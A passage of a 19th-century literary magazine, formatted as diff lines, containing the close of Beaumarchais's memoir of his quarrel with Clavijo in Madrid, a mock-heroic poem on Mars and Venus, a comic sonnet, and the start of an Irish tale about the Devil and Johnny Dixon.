+"He became restless and agitated. Without seeming to notice his manner,
+I went on.
+
+"'The younger sister, touched by her admirer's merit, refused several
+advantageous proposals; and, preferring to wait till he who had loved
+her, for four years, should realise the hopes which he and his friends
+entertained, encouraged him to publish the first number of his journal
+under the imposing title of the _Pensador_.'
+
+"Clavijo looked as if he were going to faint.
+
+"'The work,' I continued with the utmost coldness, 'had a prodigious
+success. The king, delighted with so charming a production, gave
+the author public marks of favour; and he was promised the first
+honourable employment that should be vacant. He then removed, by an open
+prosecution of his suit, every other person who had sought my sister's
+hand. The marriage was delayed only till the promised post should be
+obtained. At six months' end the post made its appearance, but the man
+vanished.'
+
+"Here my listener heaved an involuntary sigh, and, perceiving what he
+had done, reddened with confusion. I went on without interruption.
+
+"'The matter had gone too far to be allowed to drop in this manner. A
+suitable house had been taken; the bans had been published. The common
+friends of the parties were indignant at such an outrage; the ambassador
+of France interfered; and when this man saw that the French ladies had
+protectors whose influence might be greater than his own, and might even
+destroy his opening prospects, he returned to throw himself at the feet
+of his offended mistress. He got her friends to intercede for him; and
+as the anger of a forsaken woman has generally love at the bottom, a
+reconciliation soon took place. The marriage preparations were resumed;
+the bans were re-published; the ceremony was to take place in three
+days. The reconciliation had made as much noise as the rupture. The
+lover set out for St. Ildefonso to ask the minister's consent to his
+marriage; entreating his friends to preserve for him till his return the
+now precarious affection of his mistress, and to arrange everything for
+the immediate performance of the ceremony.'
+
+"In the horrible state into which he was thrown by this recital, but
+yet uncertain whether I might not be telling a story in which I had
+no personal interest, Clavijo from time to time fixed his eyes on my
+friend, whose _sangfroid_ was no less puzzling than mine. I now looked
+him steadily in the face, and went on in a sterner tone.
+
+"'Two days afterwards he returned indeed from court; but, instead of
+leading his victim to the altar, he sent word to the poor girl that he
+had once more changed his mind, and would not marry her. Her indignant
+friends hastened to his house. The villain no longer kept any measures
+with them, but defied them to hurt him, telling them that if the
+Frenchwomen were disposed to give him any trouble, they had better take
+care of themselves. On hearing this intelligence, the young woman fell
+into convulsions so violent, that her life was long despaired of. In
+the midst of their desolation, the elder wrote to France an account of
+the public affront that they had received. They had a brother, who,
+deeply moved by the story, flew to Madrid, determined to investigate
+the affair to the bottom. _I_ am that brother. _It is I_ who have left
+everything--my country, my family, my duties--to avenge in Spain the
+cause of an innocent and unhappy sister. _It is I_ who come, armed with
+justice and resolution, to unmask and punish a villain; and _it is you_
+who are that villain.'
+
+"It is easier to imagine than describe the appearance of this man by
+the time I had concluded my speech. His mouth opened from time to time,
+and inarticulate sounds died away on his tongue. His countenance, at
+first so radiant with complacency and satisfaction, gradually darkened;
+his eyes became dim, his features lengthened, his complexion pale and
+haggard.
+
+"He tried to stammer out some phrases by way of justification. 'Do not
+interrupt me, sir,' I said; 'you have nothing to say to me, and much to
+hear from me. In the first place, have the goodness to declare before
+this gentleman, who has accompanied me from France on account of this
+very business, whether, owing to any want of faith, levity, weakness,
+ill-temper, or any other fault, my sister has deserved the double
+outrage she has received from you.'
+
+"'No, sir; I acknowledge Donna Maria, your sister, to be a young lady
+full of charms, accomplishments, and virtues.'
+
+"'Has she ever, since you have known her, given you any ground of
+complaint?'
+
+"'No, never.'
+
+"'Well, then, monster that you are! why have you had the barbarity to
+bring a poor girl to death's door, merely because her heart gave you the
+preference over half a dozen other persons more respectable and better
+than you?'
+
+"'Ah, sir, I have been advised, instigated: if you knew----'
+
+"I interrupted him: 'That is quite sufficient,' I said. Then, turning
+to my friend, 'You have heard my sister's justification; pray go, and
+make it known. What I have further to say to this gentleman requires no
+witness.'
+
+"My friend left the room. Clavijo rose, but I made him resume his seat.
+
+"'It does not suit my views, any more than yours, that you should marry
+my sister; and you are probably aware that I am not come here to play
+the brother's part in a comedy, who desires to bring about his sister's
+happiness, as it is called. You have thought fit to insult a respectable
+young woman, because you thought her friendless in a strange land; your
+conduct has been base and dishonourable. You will please, therefore,
+to begin by acknowledging, under your hand, at perfect freedom, with
+all your doors open and all your domestics in the room, (who will not
+understand us, as we shall speak French,) that you have causelessly
+deceived, betrayed, insulted my sister. With this declaration in my hand
+I shall hasten to Aranjuez, where our ambassador is; I shall show him
+the paper, and then have it printed; to-morrow it shall be abundantly
+circulated through the court and the city. I have some credit here--I
+have time and money; all shall be employed to deprive you of your place,
+and to pursue you without respite, and in every possible way, till my
+sister herself shall entreat me to forbear.'
+
+"'I shall make no such declaration,' said Clavijo, almost inarticulate
+from agitation.
+
+"'I dare say not, for I don't think, were I in your place, that I should
+do so myself. But you must consider the other alternative. From this
+moment I remain at your elbow. I will not leave you a moment. Wherever
+you go, I will go, till you shall have no other way of getting rid of so
+troublesome a neighbour but by going with me behind the Palace of Buen
+Retiro. If I am the survivor, sir, without even seeing the ambassador,
+or speaking to a single soul here, I shall take my dying sister in my
+arms, put her in my carriage, and return with her to France. If the luck
+is yours, all is ended with me. You will then be at liberty to enjoy
+your triumph, and laugh at your dupes as much as you please. Will you
+have the goodness to order breakfast.'
+
+"I rose, and rang the bell; a servant brought in breakfast. I took my
+cup of chocolate, while Clavijo, in deep thought, walked about the room.
+At length he seemed all at once to form a resolution.
+
+"'M. de Beaumarchais,' he said, 'hear me. Nothing on earth can justify
+my conduct towards your sister; ambition has been my ruin; but if I
+had imagined that Donna Maria had a brother like you, far from looking
+upon her as a stranger without friends or connexions, I should have
+anticipated the greatest advantages from our union. You have inspired
+me with the greatest esteem; and I throw myself on your generosity,
+beseeching you to assist me in redressing, as far as I am able, the
+injuries I have done your sister. Restore her to me, sir; and I shall
+esteem myself too happy in receiving, from your hands, my wife and
+forgiveness of my offences.'
+
+"'It is too late,' I replied; 'my sister no longer loves you. Write a
+declaration,--that is all I require of you; and be satisfied that, as an
+open enemy, I will avenge my sister's wrongs till her own resentment is
+appeased.'
+
+"He made many difficulties; objecting to the style in which I demanded
+his declaration; to its being all in his hand-writing; and to my
+insisting that the domestics should be in the room while he was writing
+it. But the alternative was pressing, and he had probably some lurking
+hope of regaining the affections of the woman who had loved him so
+long. His pride, therefore, gave way; and he submitted to write the
+declaration, which I dictated to him, walking about the room. It
+contained an ample testimony to the blameless character of my sister,
+and an acknowledgment of his causeless treachery towards her.
+
+"When he had written and signed the paper, I put it in my pocket, and
+took my leave, repeating what I had said, as to the use I meant to make
+of it. He besought me, at least, to tell my sister of the marks of
+sincere repentance he had exhibited; and I promised to do so.
+
+"My friend's return before me, to my sister's, had produced great alarm
+in the little circle that were waiting for us. I found the females
+in tears, and the men very uneasy. But when they heard my account of
+my interview, and saw the declaration, the general anxiety was turned
+into joy and congratulation. Every one was of a different opinion: some
+insisted on ruining Clavijo; others were inclined to forgive him; and
+others, again, were for leaving everything to my prudence. My sister
+entreated that she might never hear of him more. I resolved to go to
+Aranjuez and lay the whole affair before the Marquis D'Ossun, our
+ambassador.
+
+"Before setting out, I wrote to Clavijo, telling him that my sister
+would not hear a word in his favour, and that I was therefore determined
+to adhere to my intention of doing all I could to avenge her injuries.
+He begged to see me; and I went without hesitation to his house. His
+language was full of the most bitter self-reproach; and, after many
+earnest entreaties, he obtained my permission to visit my elder sister,
+accompanied by a mutual friend, and my promise, in case he should fail
+in obtaining forgiveness, not to publish his dishonour till after my
+return from Aranjuez.
+
+"The Marquis D'Ossun received me very kindly. I told him my story,
+concluding with an account of my meeting with Clavijo, which he could
+hardly credit, till I showed him the declaration. He asked me what
+were my views--did I desire to make Clavijo marry my sister?--'No, my
+lord, my object is to disgrace him publicly.' The Marquis dissuaded me
+from proceeding to extremities. Clavijo, he said, was a rising man,
+and evidently in the way of great advancement; ambition had alienated
+him from my sister; but ambition, repentance, or affection, seemed
+to be bringing him back; all things considered, Clavijo seemed an
+advantageous match, and the wisest thing I could do was to get the
+marriage celebrated immediately. He hinted further, that, by following
+his advice, I should do him a pleasure, for reasons which he could not
+explain.
+
+"I returned to Madrid, much troubled by the result of this conference.
+On arriving at my sister's, I found that Clavijo had been there,
+accompanied by some mutual friends, in order to beseech my sisters to
+forgive him. Maria, on his appearance, had fled to her own room, and
+would not appear; and I was told he had conceived hopes from this little
+ebullition of resentment. I concluded, for my part, that he was well
+acquainted with woman, whose soft and tender nature, however deeply she
+may have been injured, is always prone to pardon the repentant lover
+whom she sees kneeling at her feet.
+
+"After my return from Aranjuez, Clavijo found means to see me every
+day. I was delighted with his talents and attainments, and, above all,
+with the manly confidence he appeared to have in my mediation. I was
+sincerely desirous to favour his suit; but the profound respect which my
+poor sister had for my judgment rendered me very circumspect in regard
+to her. It was her happiness, and not her fortune, that I wished to
+secure; her heart, and not her hand, that I wished to dispose of.
+
+"On the 25th of May, Clavijo suddenly left the house of M. Portugues,
+and retired to the house of an officer of his acquaintance, in the
+quarters of the invalids. This hasty move appeared somewhat singular,
+though it did not, at the moment, give me any uneasiness. I went to
+see him: he explained his precipitate retreat by saying that, as M.
+Portugues was very much opposed to his marriage, he thought he could
+not give me a better proof of his sincerity than by leaving the house of
+so powerful an enemy of my sister. This appeared probable, and I felt
+obliged to him for so delicate a proceeding.
+
+"Next day I received a letter from him, breathing the utmost frankness,
+honour, and good feeling. He renewed his offer of marriage, if my sister
+would only forgive his past conduct. He protested the most devoted and
+unalterable love for her; and called upon me to perform my promise of
+interceding for him. If it were possible for him, he said, to leave
+Madrid without an express order from the head of his department, he
+would instantly set out for Aranjuez to obtain that minister's consent
+to the marriage: he therefore begged that I would undertake that matter
+for him; and said that my prompt compliance would be the most convincing
+proof of my sincere good wishes.
+
+"I read this letter to my sisters; Maria burst into tears. I embraced
+her tenderly. 'Well, poor child, you love him after all; and are
+mightily ashamed of it, no doubt! I see it all; but never mind--you
+are a good excellent girl, notwithstanding; and since your resentment
+is dying away, let it be extinguished altogether in the tears of
+forgiveness. They are sweet and soothing after tears of grief and anger.
+He is a sad fellow, this Clavijo, to be sure, like most men; but, such
+as he is, I join our worthy ambassador in advising you to forgive him.
+For his own sake, perhaps,' I added, laughing, 'I might have been as
+well pleased had he fought me; for yours, I am much better pleased that
+he has not.'
+
+"I ran on in this way till my sister began to smile in the midst of her
+tears. I took this as a silent consent, and hastened away in search of
+her lover. I told him he was a hundred times happier than he deserved;
+and he agreed that I was in the right. I brought him to my sister's. The
+poor girl was overwhelmed, on all hands, by entreating friends, till
+at last, with a blush and a sigh of mingled pleasure and shame, she
+whispered a consent that we might dispose of her as we pleased. Clavijo
+was in raptures. In his joy, he ran to my writing-desk, and wrote a
+paper containing a brief but formal mutual engagement, which he signed,
+and then kneeling, presented it to my sister for her signature. The
+gentlemen present, joined their entreaties to his, and thus a written
+consent was extorted from my poor sister, who, no longer knowing where
+to hide her head, threw herself weeping into my arms, whispering in my
+ear, that really I was a hard-hearted man, and had no pity for her.
+
+"We spent a very happy evening, as may well be imagined. At eleven
+o'clock I set out for Aranjuez, for in that warm climate the night is
+the pleasantest time for travelling. I communicated all that had passed
+to the ambassador, who was much pleased, and praised my conduct more
+than it deserved. I then waited on M. de Grimaldi, the minister at the
+head of Clavijo's department. He received me kindly, gave his consent to
+the marriage, and wished my sister every happiness; but observed that
+Don Joseph Clavijo might have spared me the journey, because a letter to
+the minister was the usual form, and would have been quite sufficient.
+
+"On my return to Madrid, I found a letter from Clavijo, written in great
+apparent agitation, in which he told me, that copies of a pretended
+declaration, said to be by him, had got into circulation, and that it
+was in such terms that he could not show his face while impressions
+subsisted so derogatory to his character and honour. He therefore begged
+me to show the paper he had really signed, and give copies of it.
+Subjoined to his letter was a copy of this pretended declaration, which
+was conceived in the most false, exaggerated, and abominable language,
+and was all in his own hand-writing. He further said, that, in the mean
+time, and till the public should be disabused, _it would be better that
+we should not see each other for a few days_; for, if we did, it might
+be supposed that the pretended paper was the real one, and that the
+other, now appearing for the first time, was concocted afterwards.
+
+"I was a little out of humour at the conclusion drawn by Clavijo from
+this base fabrication. I reproached him gently for taking such an
+unreasonable view of the matter; and, as I found him unwell, I promised
+that as soon as he was able to go out, we should go everywhere together,
+and that I should make it appear that I looked upon him as a brother and
+an honourable man.
+
+"We made all the arrangements for the marriage. In case he might not be
+fully supplied with money, I offered him my purse; and I presented him
+with some jewels and French laces, to enable him to make my sister a
+wedding gift. He accepted the jewels and laces, because, as he said, it
+would be difficult to find anything so handsome at Madrid; but I could
+not prevail on him to receive the money I offered him.
+
+"Next day, a Spanish valet robbed me of a large sum of money and a
+number of valuable articles. I immediately waited on the governor of
+Madrid to make my complaint, and was somewhat surprised at the very cold
+reception I met with. I wrote to the French ambassador on the subject,
+and thought no more of it.
+
+"I continued my attentions to my sick friend, which were received with
+every appearance of affectionate gratitude; but, on the 5th of June,
+when I came as usual to see him, I found, to my utter astonishment, that
+he had, once more, suddenly decamped.
+
+"I got inquiries made after him at all the lodging-houses in Madrid, and
+at last discovered his new abode. I expressed my surprise in stronger
+language than on the previous occasion. He told me that he had learned
+that his friend with whom he was staying, had been blamed for sharing
+with another a lodging which was given by the king for his own use
+only; and that he had been so much hurt at this, that he thought it
+necessary to leave his friend's apartments instantly, without regarding
+the embarrassment it might occasion, the state of his health, the
+untimely hour, or any other consideration. I could not but approve of
+his delicacy; but kindly scolded him for not having come to reside at
+my sister's, whither I offered to take him at once. He thanked me most
+affectionately, but found some reason for excusing himself.
+
+"Next day, under trifling pretexts, he refused my repeated offers of
+an apartment at my sister's. My friends began to shake their heads,
+and my sister looked anxious and unhappy. It was similar evasions
+that had twice already preceded his total desertion. I felt angry at
+these forebodings, which I insisted were groundless; but I found that
+suspicion was creeping into my own mind. To get rid of it, on the day
+fixed for signing the contract, (the seventh of June,) I sent for the
+apostolic notary, whose function it is to superintend this ceremony.
+But what was my surprise when this official told me that he was going
+to make Señor Clavijo sign a declaration of a very different nature; as
+he had, the day before, received a writ of opposition to my sister's
+marriage, on the part of a young woman who affirmed that she had a
+promise from Clavijo, given in 1755, nine years before!
+
+"I inquired who the woman was, and was told by the notary that she was a
+waiting-woman. In a transport of rage, I ran to Clavijo, loaded him with
+threats and reproaches. He besought me to moderate my anger and suspend
+my opinion. He had long ago, he said, made some such promise to Madame
+Portugues's waiting-woman, who was a pretty girl; but he had never since
+heard of it, and believed that the girl was now set on by some enemy of
+Donna Maria. The affair, he assured me, was a trifle, and could be got
+rid of by the aid of a few pistoles. He repeated his vows of eternal
+constancy to Maria, and begged me to return at eight o'clock in the
+evening, when he would go with me to an eminent advocate, who would
+easily put him on the way of getting rid of this trifling obstacle.
+
+"I left him, full of indecision and bitterness of heart. I could make
+nothing of his conduct, or imagine any reasonable object he could have
+in deceiving me. At eight o'clock I returned to his lodgings with two of
+my friends; but we had hardly got out of the carriage, when the landlady
+came to the door, and told me that Señor Clavijo had removed from her
+house an hour before, and was gone she knew not whither.
+
+"Thunderstruck at this intelligence, and unable to believe it, I went
+up to the room he had occupied. Every thing belonging to him had
+been carried off. Perplexed and dismayed, I returned home, and had
+no sooner arrived than a courier from Aranjuez brought me a letter,
+which he had been ordered to deliver with the utmost speed. It was
+from the French ambassador. He informed me that the governor of Madrid
+had just been with him, to tell him that Señor Clavijo had retired to
+a place of safety, in order to protect himself from the violence he
+apprehended from me, as I had, a few days before, compelled him, in his
+own house, and with a pistol at his breast, to sign an engagement to
+marry my sister. The Marquis, at the same time, expressed his belief
+of my innocence; but feared that the affair might be turned to my
+disadvantage, and requested that I would do nothing whatever until I had
+seen him.
+
+"I was utterly confounded. This man, who for weeks had been treating me
+like a brother,--who had been writing me letter upon letter, full of
+affection,--who had earnestly besought me to give him my sister, and had
+visited her again and again as her betrothed husband,--this monster had
+been all the while secretly plotting my destruction!
+
+"Suddenly an officer of the Walloon guards came into the room. 'M. de
+Beaumarchais,' he said, 'you have not a moment to lose. Save yourself,
+or to-morrow morning you will be arrested in your bed. The order is
+given, and I am come to apprise you of it. Your adversary is a monster.
+He has contrived to set almost everybody against you, and has led you
+into snare after snare, till he has found means to make himself your
+public accuser. Fly instantly, I beseech you. Once immured in a dungeon,
+you will have neither protection nor defence.'
+
+"'I fly!--I make my escape!--I will die sooner. Say not a word more, my
+friends. Let me have a travelling carriage to-morrow morning at four
+o'clock, and meanwhile leave me to prepare for my journey to Aranjuez.'
+
+"I shut myself up in my room. My mind was utterly exhausted. I threw
+myself into a chair, where I remained for two hours in a state of total
+vacuity of thought. At length I roused myself. I reflected on all the
+circumstances of the case, and on the abundant proofs of my integrity. I
+sat down to my desk, and, with the rapidity of a man in a high fever, I
+wrote an exact journal of my actions since my arrival at Madrid: names,
+dates, conversations,--everything sprang, as it were, into my memory,
+and fixed itself under my pen. I was still writing at five in the
+morning, when I was told that my carriage was ready. Some friends wanted
+to accompany me. 'I wish to be alone,' I said. 'Twelve hours of solitude
+are not more than necessary to calm the agitation of my frame.' I set
+out for Aranjuez.
+
+"When I arrived, the ambassador was at the palace, and I could not see
+him till eleven o'clock at night. He was glad, he said, I was come; for
+he had been very uneasy about me. During the last fortnight my adversary
+had gained all the avenues of the palace; and, had it not been for him,
+I should have been already arrested, and probably sent to a dungeon for
+life, on the African coast. He had done what he could with M. Grimaldi,
+the minister, to whom he had earnestly represented his conviction of my
+probity and honour; but all was without effect. 'You must really go, M.
+de Beaumarchais,' he continued. 'You have not a moment to lose. I can do
+nothing in opposition to the general impression against you, or against
+the positive order that has been issued for your imprisonment; and I
+should be sincerely grieved should any calamity happen to you in this
+country. You must leave Spain instantly.'
+
+"I did not shed tears while he was speaking, but large drops of water
+fell at intervals from my eyes, gathered in them by the contraction
+of my whole frame. I was stupified and speechless. The ambassador was
+affected by my situation, and spoke to me in the kindest and most
+soothing manner; but still persisted in saying that I must yield to
+necessity, and escape from consequences which could not otherwise be
+averted. I implored him to think of the ruin to my own character in
+France if I fled from Spain under such circumstances;--to consider the
+situation of my unhappy, innocent sister. He said he would write to
+France, where his account of my conduct would he credited; and that, as
+to my sister, he would not neglect her. I could bear this conversation
+no longer; but, abruptly quitting his presence, I rushed out of the
+house, and wandered all night in the dark alleys of the park of
+Aranjuez, in a state of inexpressible anguish.
+
+"In the morning, my courage rose; and, determined to obtain justice or
+perish, I repaired to the levee of M. Grimaldi, the minister. While I
+waited in his ante-chamber, I heard several voices pronounce the name
+of M. Whal. That distinguished and venerable statesman, who had retired
+from the ministry that, in the close of life, he might have a brief
+interval of repose, was then residing in M. Grimaldi's house. I heard
+this, and was suddenly inspired with the idea of having recourse to him
+for protection. I requested permission to see him, as a stranger who had
+something of importance to communicate. I was admitted; and the sight
+of his mild and noble countenance gave me courage. I told him that my
+only claim to his favour was that I was a native of the country in which
+he himself was born, persecuted almost to death by cruel and powerful
+enemies; but this title, I trusted, was sufficient to obtain for me the
+protection of a just and virtuous man.
+
+"'You are a Frenchman,' he said, 'and that is always a strong claim with
+me. But you tremble--you are pale and breathless; sit down--compose
+yourself, and tell me the cause of such violent agitation.' He ordered
+that no one should be admitted; and I, in an unspeakable state of
+hope and fear, requested permission to read my journal of occurrences
+since my arrival in Madrid. He complied, and I began to read. As I
+went on, he from time to time begged me to be calm, and to read more
+slowly that he might follow me the better; assuring me that he took the
+greatest interest in my narrative. As I proceeded, I laid before him
+in succession the letters and other documents which were referred to.
+But when I came to the criminal charge against me,--to the order for my
+imprisonment, which had been only suspended for a little by M. Grimaldi
+at the request of our ambassador,--to the urgent advices which I had
+received to make my escape, but which I avowed my determination not to
+follow,--he uttered an exclamation, rose, and took me kindly by the hand:
+
+"'Unquestionably the king will do you justice, M. de Beaumarchais. The
+ambassador, in spite of his regard for you, is obliged to act with the
+caution which befits his office; but I am under no such restraint. It
+shall never be said that a respectable Frenchman, after leaving his
+home, his friends, his business,--after having travelled a thousand
+miles to succour an innocent and unfortunate sister, has been driven
+from this country, carrying with him the impression that no redress or
+justice is to be obtained in Spain. It was I who placed this Clavijo
+in the king's service, and I feel myself responsible for his infamous
+conduct. Good God! how unhappy it is for statesmen that they cannot
+become sufficiently aware of the real character of the persons they
+employ, and thus get themselves surrounded by specious knaves, of whose
+shameful actions they often bear the blame. A minister may be forgiven
+for being deceived in the choice of a worthless subordinate; but when
+once he comes to a knowledge of his character, there is no excuse for
+retaining him a moment. For my part, I shall immediately set a good
+example to my successors.'
+
+"So saying, he rang, ordered his carriage, and took me with him to the
+palace. He sent for M. Grimaldi; and, while waiting for the arrival
+of that minister, went into the king's closet, and told his majesty
+the story, accusing himself of indiscretion in recommending such a man
+to his majesty's favour. M. Grimaldi came; and I was called into the
+royal presence. 'Read your memorial,' said M. Whal,--'every feeling and
+honourable heart must be as much moved by it as I was.' I obeyed. The
+king listened with attention and interest; examined the proofs of my
+statements; and the result was an order that Clavijo should be deprived
+of his employment, and dismissed for ever from his majesty's service."
+
+From subsequent parts of the narrative, it appears that Clavijo
+exerted all his powers of cunning and intrigue in order to get himself
+re-instated in his situation; not omitting further attempts to impose
+upon M. de Beaumarchais, accompanied with abject entreaties and
+hypocritical professions. All, however, was in vain; and this man, who
+seems to have been an extraordinary compound of intellectual ability and
+moral depravity, seems to have sunk into contempt and insignificance.
+The young lady recovered the shock she had received; and was afterwards
+happily married, and settled at Madrid.
+
+[51] The Princesses of France, in whose household M. de Beaumarchais
+     held an office.
+
+[52] The Reflector.
+
+
+
+
+            MARS AND VENUS.
+
+    One day, upon that Trojan plain,
+    Where men in hecatombs were slain,
+    Th' immortal gods (no common sight)
+    Thought fit to mingle in the fight,
+    And found convincing proof that those
+    Who will in quarrels interpose
+    Are often doom'd to suffer harm--
+    Venus was wounded in the arm;
+    Whilst Mars himself, the god of war,
+    Receiv'd an ignominious scar,
+    And, fairly beat by Diomed,
+    Fled back to heav'n and kept his bed.
+    That bed (the proof may still be seen)
+    Had long been shared with beauty's queen;
+    For, with th' adventure of the cage,
+    Vulcan had vented all his rage, (a)
+    And, like Italian husbands, he
+    Now wore his horns resignedly.
+    Ye modest critics! spare my song:
+    If gods and goddesses did wrong,
+    And revell'd in illicit love,
+    As poets, sculptors, painters, prove,
+    Is mine the fault? and, if I tell
+    Some tales of scandal that befell
+    In heathen times, why need my lays
+    On ladies' cheeks more blushes raise,
+    When read (if such my envied lot)
+    In secret boudoir, bower, or grot,
+    Than scenes which, in the blaze of light,
+    They throng to witness ev'ry night?
+    Ere you condemn my humble page,
+    Glance for a moment at the stage,
+    Where twirling gods to view expose
+    Their pliant limbs, in tighten'd hose,
+    And goddesses of doubtful fame
+      Are by lord chamberlains allow'd,
+    With practis'd postures, to inflame
+      The passions of a gazing crowd:
+    And if great camels, such as these,
+    Are swallow'd with apparent ease,
+    Oh! strain not at a gnat like me,
+    Nor deem me lost to decency,
+    When I now venture to declare
+    That Mars and Venus--guilty pair--
+    On the same couch extended lay,
+    And cursed the fortunes of the day.
+    The little Loves, who round them flew,
+      Could only sob to show their feeling,
+    Since they, of course, much better knew
+      The art of wounding than of healing,
+    And Cupid's self essay'd in vain
+    To ease his lovely mother's pain:
+    The chaplet that his locks confin'd
+    He tore indeed her wound to bind;
+    But from her sympathetic fever
+    He had no nostrum to relieve her,
+    And, thinking that she might assuage
+    That fever, as she did her rage,
+    By talking loud,--her usual fashion
+    Whenever she was in a passion,--
+    He stood, with looks resign'd and grave,
+    Prepar'd to hear his mother rave.
+    Who thus began: "Ah! Cupid, why
+    Was I so silly as to try
+    My fortune in the battle-field, (b)
+    Or seek a pond'rous spear to wield,
+    Which only Pallas (hated name!)
+      Of all her sex can wield aright?
+    What need had I of martial fame,
+      Sought 'midst the dangers of the fight,
+    When beauty's prize, a trophy far
+    More precious than the spoils of war,
+    Was mine already, won from those
+    Whom rivalry has made my foes,
+    And who on Trojan plains would sate
+    E'en with my blood that ranc'rous hate
+    Which Ida's neighb'ring heights inflame,
+    And not this wound itself can tame?
+    Ah! why did I not bear in mind
+    That Beauty, like th' inconstant wind,
+    Is always privileg'd to raise
+    The rage of others to a blaze,
+    Then, lull'd to rest, look calmly on,
+    And see the work of havoc done?
+    'Twas well to urge your father, Mars,
+    To mingle in those hated wars;
+    'Twas well--" But piteous cries of pain,
+    From him she named, here broke the chain
+    Of her discourse, and seem'd to say,
+    "What want of feeling you display!"
+    So, turning to her wounded lover,
+    She kindly urged him to discover
+    By whom and where the wound was given,
+    That sent him writhing back to heaven.
+    The god, thus question'd, hung his head,
+    A burning blush of shame o'erspread
+    With sudden flush his pallid cheek,
+    As thus he answer'd: "Dost thou seek
+    To hear a tale of dire disgrace,
+    Which all those honours must efface,
+    That, hitherto, have made my name
+    Pre-eminent in warlike fame?
+    Yet--since 'twas thou who bad'st me go
+    To fight with mortals there below--
+    'Tis fitting, too, that thou shouldst learn
+    What laurels 'twas my fate to earn.
+    At first, in my resistless car,
+    I seem'd indeed the god of war;
+    The Trojans rallied at my side;
+    Changed in its hue, the Xanthus' tide
+    Its waters to the ocean bore,
+    Empurpled deep in Grecian gore;
+    And o'er the corpse-impeded field
+    The cry was still 'They yield!--they yield!'
+    But soon, the flying ranks to stay,
+    Thy hated rivals joined the fray;
+    They nerved, with some accursed charm,
+    Each Greek's, but most Tydides' arm,
+    And, Venus, thou first felt the smart
+    Of his Minerva-guided dart.
+    I saw thee wounded, saw thee fly,--
+    I saw the chief triumphantly
+    Tow'rds me, his ardent coursers turn,
+    As though from gods alone to earn
+    The highest honours of the fight;
+    I know not why, but, at the sight--
+    Eternal shame upon my head!--
+    A panic seized me, and I fled--
+    I fled, like chaff before the wind,
+    And, ah! my wounds are all--behind!"
+    When thus at length the truth was told,
+      (The shameful truth of his disgrace,)
+    Again, within his mantle's fold,
+      The wounded coward hid his face; (c)
+    Whilst Venus, springing from his side,
+    With looks of scornful anger, cried,
+    "And didst thou fly from mortal foe,
+    Nor stay to strike one vengeful blow
+    For her who fondly has believ'd,
+    By all thy val'rous boasts deceiv'd,
+    That in the god of war she press'd
+    The first of heroes to her breast?
+    Cupid, my swans and car prepare--
+    To Cyprus we will hasten, where
+    Some youth, as yet unknown to fame,
+    May haply raise another flame;
+    For Mars may take his leave of Venus,
+      No coward shall enjoy my love;
+    And nothing more shall pass between us,--
+      I swear it by my fav'rite dove."
+    She spake; and through the realms of air,
+    Before the humbled god could dare
+    Upraise his head to urge her stay,
+    Already she had ta'en her way;
+    And in her Cyprian bow'r that night,
+    (If ancient scandal tell aright,)
+    Forgetful of her recent wound,
+    In place of Mars another found,
+    And to a mortal's close embraces
+    Surrender'd her celestial graces.
+    'Tis said that Venus, wont to range
+    Both heav'n and earth in search of change,
+    Was not unwilling to discover
+    Some pretext to desert her lover;
+    Nor do I combat the assertion,
+    But from the _cause_ of her desertion,
+    Whilst you, fair readers, justly rail
+      Against _her morals_, I will dare
+    To draw _this moral_ for my tale,--
+      "None but the brave deserve the fair!"
+
+                      NOTES.
+
+ (a) Ovid thus speaks of the result of Vulcan's
+     exposure of his wife's infidelity:
+
+     "Hoc tibi profectum, Vulcane, quod ante tegebant,
+       Liberius faciunt ut pudor omnis abest;
+     Sæpe tamen demens stultè fecisse fateris,
+       Teque ferunt iræ poenituisse tuæ."
+
+ (b) Leonidas, in his beautiful epigram to Venus armed, says,
+
+     [Greek: Areos entea tauta tinos charin, ô Kythireia,
+     Endidysai, keneon touto pherousa baros,
+     Auton Arê' gymnê gar aphoplisas, ei de lileiptai
+     Kai theos, anthrôpois opla matên epageis.]
+
+ (c) The ancients were seldom guilty of making the actions of their
+     gods inconsistent with their general character and attributes;
+     but there seems to have been much of the Captain Bobadil in
+     the mighty god of war, and the instance of cowardice here alluded
+     to is not the only one recorded of him by the pts. In the wars
+     with the Titans he showed a decided "white feather," and suffered
+     himself to be made prisoner.
+
+
+
+
+              AN EVENING MEDITATION.
+
+    I love the sound of Nature's happy voice,
+    The music of a summer evening's sky,
+    When all things fair and beautiful rejoice,
+    As though their glory ne'er would fade and die.
+    Sweet is the breeze as 'mid the flowers it sings,
+    Sweet is the melody of falling streams,
+    Sweet is the sky-lark's song as borne on wings
+    Of waving light--a bird of heaven she seems.
+    Oh! for the hours, when wrapt in joy I've sat,
+    And felt that harmony--"_all round my hat!_"
+                                                  SIGMA.
+
+
+
+
+                THE DEVIL AND JOHNNY DIXON.
+           BY THE AUTHOR OF "STORIES OF WATERLOO."
+
+                _Arnold._ Your form is man's,
+                and yet you may be the devil.
+
+                _Stranger._ Unless you keep company with
+                him (and you seem scarce used to such high company)
+                you can't tell how he approaches. _The Deformed
+                Transformed._
+
+I remember having been exceedingly amused by a book of German
+_diablerie_, in which the movements of his Satanic Majesty were
+faithfully and fashionably chronicled. He had chosen, it would appear,
+for good and cogent reasons, to revisit our earth _incognito_; and as
+potentates steal occasionally a glance at the world to see how things
+move in their ordinary courses, he too indulged his princely curiosity,
+and, _selon la règle_, during his travels assumed a borrowed title.
+
+I had business to transact in a very remote district of the kingdom
+of Connaught, and, as some delay was unavoidable, I threw a few books
+carelessly into my portmanteau. Among them the wild conception of
+Hoffmann, entitled "The Devil's Elixir," was included; and in the
+perusal of that strange tale, I endeavoured to amuse the tedium of as
+wet a day as often comes in Connemara. Bad as the morning had been, the
+evening was infinitely worse: the wind roared through the mountains; the
+rain came down in torrents; and every unhappy wayfarer pushed hastily
+for the nearest inn.
+
+I had been an occupant of the best (and only) parlour of Tim Corrigan
+during the preceding week; and so unfrequent were the calls at his
+caravansera, that, like Robinson Crus, I could stroll out upon the
+moor, and proclaim that I was absolute over heath and "hostelrie." But,
+on this night, two travellers were driven to the "Cock and Punchbowl."
+They were bound for a fair that was to be holden on the morrow some
+twenty miles off; and, although anxious to lodge themselves in some
+more contiguous hostel, the weather became so desperate, that by mutual
+consent they abandoned their intention, and resolved to ensconce
+themselves for the night in a double-bedded room, which, fortunately for
+them, happened to be unoccupied in the "Cock and Punchbowl."
+
+Had their resolution to remain been doubtful, one glance at the kitchen
+fire would have confirmed it. There, a well-conditioned goose was
+twisting, on a string appended to the chimney-breast; while divers
+culinary utensils simmered on the blazing turf, giving sure indications
+that other adjuncts were to accompany the bird, and the dinner would be
